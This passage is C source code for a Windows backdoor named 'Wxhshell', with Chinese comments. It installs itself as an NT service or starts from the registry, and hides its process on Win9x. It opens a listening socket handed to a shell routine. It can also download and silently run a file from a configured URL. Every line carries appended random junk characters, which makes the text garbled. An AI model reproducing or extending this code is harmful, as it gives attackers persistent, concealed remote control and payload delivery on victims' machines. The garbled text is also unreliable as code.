ULONG InheritedFromUniqueProcessId; s4 %(>Q
} PROCESS_BASIC_INFORMATION; rdnRBFt
CSV;+,Vv
PROCNTQSIP NtQueryInformationProcess; /U6%%%-D`
mp~{W
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `.#@@5e
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hI pKJ&hm
9_fePS|Z4
HANDLE hProcess; wh:1PP
PROCESS_BASIC_INFORMATION pbi; VR!-%H\AW
51#"3S
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &x-TW,#Ks
if(NULL == hInst ) return 0; ~|wos-nM
`o79g"kxe
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !:LJzROh
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4yaxl\2
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T\VNqs@
x90jw$\%7
if (!NtQueryInformationProcess) return 0; l7JY]?p
.+y>8h3{
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mL~z~w*s
if(!hProcess) return 0; 3`HnLD/
w(1Gi$Z(Q)
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p.fF}B
e75UMWaeC
CloseHandle(hProcess); WxbsD S;
6|J'>)
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a;$P:C{gj?
if(hProcess==NULL) return 0; I8H%=Kb?9
IMQ]1uq0$
HMODULE hMod; dSIH9D
char procName[255]; U,1AfzlF
unsigned long cbNeeded; HNa]H;-+5
ig 0u^BC
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q36)7=at
:L0/V~D
CloseHandle(hProcess); Lc<eRVNd,
]%RNA:(F'
if(strstr(procName,"services")) return 1; // 以服务启动 P&*sB%B
+VEU:1Gt
return 0; // 注册表启动 )[&_scSa
} IGFGa@C
+TeFt5[)h
// 主模块 Fk^3a'/4KJ
int StartWxhshell(LPSTR lpCmdLine) lEPAP|~uw
{ {OT:3SS7
SOCKET wsl; 3Dm8[o$Z
BOOL val=TRUE; \'19BAm'
int port=0; {+("C]
b
struct sockaddr_in door; K:yr-#(P/
C9Bh@v%90^
if(wscfg.ws_autoins) Install(); <Y'>F!?#
(I{
$kB"p
port=atoi(lpCmdLine); SQE[m9v
,6<"
if(port<=0) port=wscfg.ws_port; 0"xPX#Cvj
rFJ[dz
WSADATA data; %-;bu|
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yy2Ie
S"snB/
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ,D80/2U^
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `PI(%N
door.sin_family = AF_INET; XeUC0K[D
door.sin_addr.s_addr = inet_addr("127.0.0.1"); daZQz"PP
door.sin_port = htons(port); )_jSG5k
1
[z'G)v
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h`MdKX$
closesocket(wsl); Jd
3@cLCe-
return 1; 3+OsjZ
} PfW|77
kpfwqHT
if(listen(wsl,2) == INVALID_SOCKET) { "oc$
closesocket(wsl); FE5Q?*Ea
return 1; KSs 1CF'i
} m8R=?U~!S
Wxhshell(wsl); 4cCF\&yU
WSACleanup(); O>DNC-m)i{
$*~Iu%Az
return 0; g?/XZ5$a5
){Mu~P
} ~el-*=<m
_JGs}aQ
// 以NT服务方式启动 j kn^Z":
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {^q)^<#JT
{ z>vtEV))
DWORD status = 0; +6W(z3($
DWORD specificError = 0xfffffff; }4c/YP"a'E
2BB<mv
K4
serviceStatus.dwServiceType = SERVICE_WIN32; Ef7:y|?
serviceStatus.dwCurrentState = SERVICE_START_PENDING; `U`#I,Ln[
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c5i%(!>
serviceStatus.dwWin32ExitCode = 0; ,axDMMDI
serviceStatus.dwServiceSpecificExitCode = 0; PE@+w#i7*
serviceStatus.dwCheckPoint = 0; 7h<> k*E)
serviceStatus.dwWaitHint = 0; 32XS`Z
*07sK1wW
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); OOy}]uYF`
if (hServiceStatusHandle==0) return; gp< =Gmd
Jj"HpK>[
status = GetLastError(); vahoSc;sw
if (status!=NO_ERROR) eG]a zt
{ wODvc9p}]
serviceStatus.dwCurrentState = SERVICE_STOPPED; hCc0sRp
serviceStatus.dwCheckPoint = 0; lxb 8xY
serviceStatus.dwWaitHint = 0; QocQowz
serviceStatus.dwWin32ExitCode = status; -6E K#!+
serviceStatus.dwServiceSpecificExitCode = specificError; cqL(^R.
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8:g!w:$x
return; `ti8-
} delf
]
L`K;IV%;
serviceStatus.dwCurrentState = SERVICE_RUNNING; VQ
|^
serviceStatus.dwCheckPoint = 0; p!"(s/=
serviceStatus.dwWaitHint = 0; Q</h-skLZ
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E8[XG2ye
} +g\;bLT
o'UHStk
// 处理NT服务事件,比如:启动、停止 3o8\/-*<
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y)p4]>lT+8
{ Gbb\h
switch(fdwControl) INNAYQ
{ l)@:T|)c
case SERVICE_CONTROL_STOP: lmFA&s"m
serviceStatus.dwWin32ExitCode = 0; F1u)i
serviceStatus.dwCurrentState = SERVICE_STOPPED; $p6N|p
serviceStatus.dwCheckPoint = 0; Gt^d;7x]
serviceStatus.dwWaitHint = 0; pt!'v$G/*
{ 3IyZunFT
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pz~q%J
} H7e /
return; ?JqjYI{$
case SERVICE_CONTROL_PAUSE: v}`1)BUeF
serviceStatus.dwCurrentState = SERVICE_PAUSED; 9m!7|(QV
break; |cTpw1%I~
case SERVICE_CONTROL_CONTINUE: 9O;vUy)
serviceStatus.dwCurrentState = SERVICE_RUNNING; G=$}5; t
break; 3V-6)V{KaE
case SERVICE_CONTROL_INTERROGATE: CIQwl 6H9
break; sJ6a7A8)
}; {e9Y
!oFg
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,YlQK;
} L+R>%d
s
vfbe$4mH
// 标准应用程序主函数 TA)LPBG
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rWr/ p^~
{ yh!B!v'
ks:{TA27
// 获取操作系统版本 d.\PS9l
OsIsNt=GetOsVer(); l{EU_|q
GetModuleFileName(NULL,ExeFile,MAX_PATH); `p|[rS>
%cj58zO|y
// 从命令行安装 1ih* gJPpj
if(strpbrk(lpCmdLine,"iI")) Install(); R+Lk~X^*l'
>l2w::l%
// 下载执行文件 >UN vkQ:
if(wscfg.ws_downexe) { _;G=G5r
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) iwo$\
WinExec(wscfg.ws_filenam,SW_HIDE); <IH*\q:7
} 22vq=RO7Z
a|.20w5
if(!OsIsNt) { Wm>b3:
// 如果时win9x,隐藏进程并且设置为注册表启动 Q7k.+2
HideProc(); QNJ\!+,HV
StartWxhshell(lpCmdLine); tR O IBq|
}
SsRVd^=;x
else JN^bo(kb
if(StartFromService()) k /^g*
// 以服务方式启动 _80ns&q
StartServiceCtrlDispatcher(DispatchTable); 5B|,S1b
else 2FT-}w0;
// 普通方式启动 ZYKd
StartWxhshell(lpCmdLine); G+C}<S}
5mIXyg 0:
return 0; sY^lQN
}